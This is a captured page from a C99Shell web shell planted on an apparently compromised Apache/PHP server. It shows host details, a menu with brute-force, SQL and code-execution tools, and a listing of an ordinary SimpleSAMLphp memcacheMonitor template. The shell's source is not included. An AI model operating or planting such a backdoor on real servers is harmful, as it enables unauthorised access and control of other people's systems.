!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/memcacheMonitor/templates/   drwxr-xr-x
Free 13.8 GB of 61.93 GB (22.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     memcachestat.tpl.php (2.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$this
->data['head'] = '<style>
    table.statustable td, table.statustable th { 
        border: 1px solid #eee;
        padding: 2px 6px;
    }
    table.statustable {
        border-collapse: collapse;
    }
    .bmax {
        border: 1px solid #555;
        background: #eee;
    }
    .bused {
        border-right: 1px solid #555;
        border-bottom: 1px solid #555;
        color: white;
        background: #833;
    }
</style>
'
;



$this->includeAtTemplateBase('includes/header.php');

$title $this->data['title'];
$table $this->data['table'];


/* Identify column headings. */
$column_titles = array();
foreach(
$table as $row_title => $row_data) {
    foreach(
$row_data as $ct => $foo) {
        if(!
in_array($ct$column_titles)) {
            
$column_titles[] = $ct;
        }
    }
}

?>

<h2><?php echo htmlspecialchars($title); ?></h2>

<table class="statustable">

<tr>
<th></th>
<?php
foreach($column_titles as $ct) {
    echo 
'<th>' htmlspecialchars($ct) . '</th>' "\n";
}
?>
</tr>

<?php
foreach($table as $row_title => $row_data) {
    echo 
'<tr>' "\n";
    echo 
'<th class="rowtitle" style="text-align: right">' $this->t('{memcacheMonitor:memcachestat:' $row_title '}') . '</th>' "\n";
#    echo '<th class="rowtitle" style="text-align: right">' . $row_title . '</th>' . "\n";

    
foreach($column_titles as $ct) {
        echo 
'<td>';

        if(
array_key_exists($ct$row_data)) {
            echo 
htmlspecialchars($row_data[$ct]);
        }

        echo 
'</td>' "\n";
    }

    echo 
'</tr>' "\n";
}
?>

</table>

<?php


#echo('<pre>'); print_r($this->data['statsraw']); exit;

if (array_key_exists('bytes'$this->data['statsraw']) && array_key_exists('limit_maxbytes'$this->data['statsraw'])) {
    foreach(
$this->data['statsraw']['bytes'] as $key => $row_data) {
        echo (
'<h3>Storage usage on [' $key ']</h3>');
        
$maxpix 400;
        
$pix floor($this->data['statsraw']['bytes'][$key]*$maxpix $this->data['statsraw']['limit_maxbytes'][$key]);
        
        echo(
'<div class="bmax" style="width: ' .  $maxpix'px"><div class="bused" style="width: ' $pix 'px">
        Used: ' 
$table['bytes'][$key] . '
        </div>Total available: ' 
$table['limit_maxbytes'][$key] . '</div>');
    }
}

?>



<?php
$this
->includeAtTemplateBase('includes/footer.php');
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5047 ]--